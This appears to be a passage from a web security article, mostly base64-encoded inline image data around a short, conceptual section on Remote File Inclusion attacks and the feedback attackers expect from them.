cd7XeOVXmpptwxzYo8CE7ffYDvYKCgpqaGvJW93GDoij2rKe1tbWqqqogK70wwLHs1vlaT73Ge4aN941JvB73jOpv61U6Hch31En2tAgLeBAUFBQcHBwSEhIeHh4bG5uenl5YWFhXV9fR0cGeo430p74vBFRTU/M0N7MwyLXUk1bjqdfgTWu8f4H7iU+G8DGqv61X7aRdZH8o3c04wu9u8LDGj4mJSUlJyc/PH3r57QgvvYjIYrEGBgY6Ojrq6+uLC/MLI7xLvS5W3z7X4E17b9nVeRlUuOnmupyP83YKCXzIHlehoaGRkZEJCQlZWVmlpaWNjY2j+12mF9O75ubmioqKwpSoQt+r5S4nal11Gu7oNfoYcb9PX6ZPe+amm+dyLt7LPjTQ/7X0MzMzS0pK2A/0iP3HDc69YVdXQ0NDaWlpdnZ2cnJybGxsZGRkeHh4eHh4GOGdhIeHR0REREVFxcXFpaWl5eXlVVRUNDU19fT0jPwsHeqI7u7u58+fl5eX5+bmpqSkxMbGRkVFRUREkI54I+whGhkZGRsbm5ycnJOTU1ZW1tjY2NXVNfIJMr6YI/f09DQ3N1dWVj558iQtLS0+Pp6Ljc8eV9HR0QkJCRkZGYWFhTU1NW1tbSN/nIjDZhXt7e11dXXFxcWZmZlJSUkxMTGT/AQfnn56enpBQUF1dXVra2tfXx+x/7jBYrHYzxza2tpqa2tLSkpyc3PT09OTk5MTExPjCX9EQkJCYmJiSkpKRkbGkydPysvLGxoaOjs7BwYGRn6WDu8I9olaWlqal5eXkZGRkpKSmJiYkJDA7UQnKQkJCcnJyenp6bm5uSUlJXV1de3t7X19fSN/7IMvLDkwMNDZ2dnY2FhRUZGfn//48WMuNn5CQkJSUlJqampWVlZhYWFlZWVzczN74j/CG0p2XkMXtpaWlurq6qKiopycnLS0tKSkpMk8qNinVWpqamZmZkFBQWVlZVNTU3d39+DgILH/eMKedfb29ra1tdXX1z979qyoqCg/Pz83NzcnJyeb8HZycnJycnJyc3MLCgqKi4srKysbGxs7Ojr6+/sZDMbIz9KhjqDT6ewLQENDQ2VlZXFxMemItzHU+Pn5+UVFRRUVFfX19W1tbb29vaNSJBv2Q5L+/v7Ozs7nz59XVVWVlpYWFBTk5eW9/8Znp5aXl1dYWFhaWlpdXc1W/2inFPjiwsa+rWxpaamrqysvL3/69OmTJ08m7bgaSr+goICdflNTU1dXFzt9Yv/xZGiC0NfX19nZ2dLS0tDQUFNTU1VVVVlZ+YzwTiorK6urq2traxsbG1tbW9ljdAzqf60jurq6WltbGxoaamtrSUe8DXbj19TU1NfXNzc3d3Z29vX1jUH9Q+3PvgCwG7+xsZFbjV9ZWVlVVVVdXV1XV/f8+fP29vaenp7BwcHRqn8oL/YFoLe3t6Ojo7m5ub6+fjKf4K+l39bW1tPTM3TlI/Yff9hPHgYGBvr6+rq7uzs6Otrb29sIf0R7e3t7e3tnZ2d3d3d/fz/7FB2bfYZ3xODgILsjOjs7SUe8DXbjd3R0dHV19fb2Dg4Oju26OwRblHQ6vb+/v6enp7Ozs6Ojg1upsfNii49Op49N/UN5DZ3gvb29XV1dk/wEZ6ff2dnZ09PT398/PH1i/wmBPUTYo39wcHCAMGIGBwfZA5StnjGfpW/sCNIX72aCGp/BYHD3RGDnxWAw2OIbl7zY14C/xAk+PP3hV3Ri/wmEPc5YhNFADYN0xHvmb9z4E5TXZEhthPw+/f8P9qK4evQMq48AAAAASUVORK5CYII=" alt="" />

0x2: Remote File Inclusion

This attack principle is very easy: Include the malicious file in vulnerable code in the web application and have it run on the compromised web server. Most of the time the attacker expects some kind of feedback from his code if the injection has been successful. And that's where we get involved.
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